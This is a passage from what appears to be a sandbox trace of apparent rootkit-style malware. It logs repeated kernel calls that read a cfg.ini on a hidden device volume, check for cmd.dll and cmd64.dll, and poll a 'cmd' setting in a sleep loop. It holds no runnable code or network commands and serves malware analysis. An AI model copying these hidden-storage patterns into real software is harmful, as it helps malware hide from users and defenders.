_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.563] KeEnterCriticalRegion () [0117.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccd000 [0117.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.563] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.563] IdePortDispatch () returned 0x103 [0117.563] KeWaitForMutexObject () returned 0x0 [0117.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.563] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.563] IdePortDispatch () returned 0x103 [0117.563] KeWaitForMutexObject () returned 0x0 [0117.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.564] KeLeaveCriticalRegion () [0117.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.564] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.564] KeEnterCriticalRegion () [0117.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.564] KeLeaveCriticalRegion () [0117.564] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.564] KeEnterCriticalRegion () [0117.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.564] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.564] KeLeaveCriticalRegion () [0117.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.564] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.564] KeEnterCriticalRegion () [0117.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.564] ExFreePoolWithTag (P=0xfffffa80039c1340, Tag=0x0) [0117.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.564] KeLeaveCriticalRegion () [0117.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.564] ReleaseMutex (hMutex=0xf0) returned 1 [0117.564] Sleep (dwMilliseconds=0x124f80) [0117.578] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.578] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.578] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.578] KeEnterCriticalRegion () [0117.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.578] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.578] IdePortDispatch () returned 0x103 [0117.578] KeWaitForMutexObject () returned 0x0 [0117.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.578] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.578] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.578] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.578] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.578] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daf10 [0117.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.579] KeLeaveCriticalRegion () [0117.579] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.579] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.579] KeEnterCriticalRegion () [0117.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.579] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.579] KeLeaveCriticalRegion () [0117.579] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.579] KeEnterCriticalRegion () [0117.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.579] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.579] IdePortDispatch () returned 0x103 [0117.579] KeWaitForMutexObject () returned 0x0 [0117.579] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.579] KeLeaveCriticalRegion () [0117.579] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.579] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.579] KeEnterCriticalRegion () [0117.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.579] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd2000 [0117.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.579] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.579] IdePortDispatch () returned 0x103 [0117.579] KeWaitForMutexObject () returned 0x0 [0117.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.580] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.580] IdePortDispatch () returned 0x103 [0117.580] KeWaitForMutexObject () returned 0x0 [0117.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.580] KeLeaveCriticalRegion () [0117.580] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.580] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.580] KeEnterCriticalRegion () [0117.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.580] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.580] KeLeaveCriticalRegion () [0117.580] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.580] KeEnterCriticalRegion () [0117.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.581] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.581] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.581] KeLeaveCriticalRegion () [0117.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.581] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.581] KeEnterCriticalRegion () [0117.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.581] ExFreePoolWithTag (P=0xfffffa80039daf10, Tag=0x0) [0117.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.581] KeLeaveCriticalRegion () [0117.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.581] ReleaseMutex (hMutex=0xf0) returned 1 [0117.581] Sleep (dwMilliseconds=0x124f80) [0117.595] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.595] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.595] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.595] KeEnterCriticalRegion () [0117.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.596] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.596] IdePortDispatch () returned 0x103 [0117.596] KeWaitForMutexObject () returned 0x0 [0117.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.596] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.596] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.596] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.596] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.596] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d97c0 [0117.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.596] KeLeaveCriticalRegion () [0117.596] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.596] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.596] KeEnterCriticalRegion () [0117.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.596] KeLeaveCriticalRegion () [0117.596] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.596] KeEnterCriticalRegion () [0117.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.596] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.596] IdePortDispatch () returned 0x103 [0117.596] KeWaitForMutexObject () returned 0x0 [0117.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.597] KeLeaveCriticalRegion () [0117.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.597] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.597] KeEnterCriticalRegion () [0117.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.597] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd7000 [0117.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.597] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.597] IdePortDispatch () returned 0x103 [0117.597] KeWaitForMutexObject () returned 0x0 [0117.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.597] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.597] IdePortDispatch () returned 0x103 [0117.597] KeWaitForMutexObject () returned 0x0 [0117.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.597] KeLeaveCriticalRegion () [0117.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.598] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.598] KeEnterCriticalRegion () [0117.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.598] KeLeaveCriticalRegion () [0117.598] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.598] KeEnterCriticalRegion () [0117.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.598] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.598] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.598] KeLeaveCriticalRegion () [0117.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.598] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.598] KeEnterCriticalRegion () [0117.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.598] ExFreePoolWithTag (P=0xfffffa80039d97c0, Tag=0x0) [0117.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.598] KeLeaveCriticalRegion () [0117.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.598] ReleaseMutex (hMutex=0xf0) returned 1 [0117.598] Sleep (dwMilliseconds=0x124f80) [0117.612] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.612] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.612] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.612] KeEnterCriticalRegion () [0117.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.612] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.612] IdePortDispatch () returned 0x103 [0117.612] KeWaitForMutexObject () returned 0x0 [0117.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.612] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.612] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.612] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.612] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.612] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da4d0 [0117.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.612] KeLeaveCriticalRegion () [0117.612] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.612] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.612] KeEnterCriticalRegion () [0117.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.612] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.612] KeLeaveCriticalRegion () [0117.612] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.612] KeEnterCriticalRegion () [0117.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.613] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.613] IdePortDispatch () returned 0x103 [0117.613] KeWaitForMutexObject () returned 0x0 [0117.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.613] KeLeaveCriticalRegion () [0117.613] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.613] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.613] KeEnterCriticalRegion () [0117.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.613] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdc000 [0117.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.613] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.613] IdePortDispatch () returned 0x103 [0117.613] KeWaitForMutexObject () returned 0x0 [0117.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.613] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.613] IdePortDispatch () returned 0x103 [0117.613] KeWaitForMutexObject () returned 0x0 [0117.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.614] KeLeaveCriticalRegion () [0117.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.614] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.614] KeEnterCriticalRegion () [0117.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.614] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.614] KeLeaveCriticalRegion () [0117.614] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.614] KeEnterCriticalRegion () [0117.614] ExAcquireFastMutexUnsafe (in: 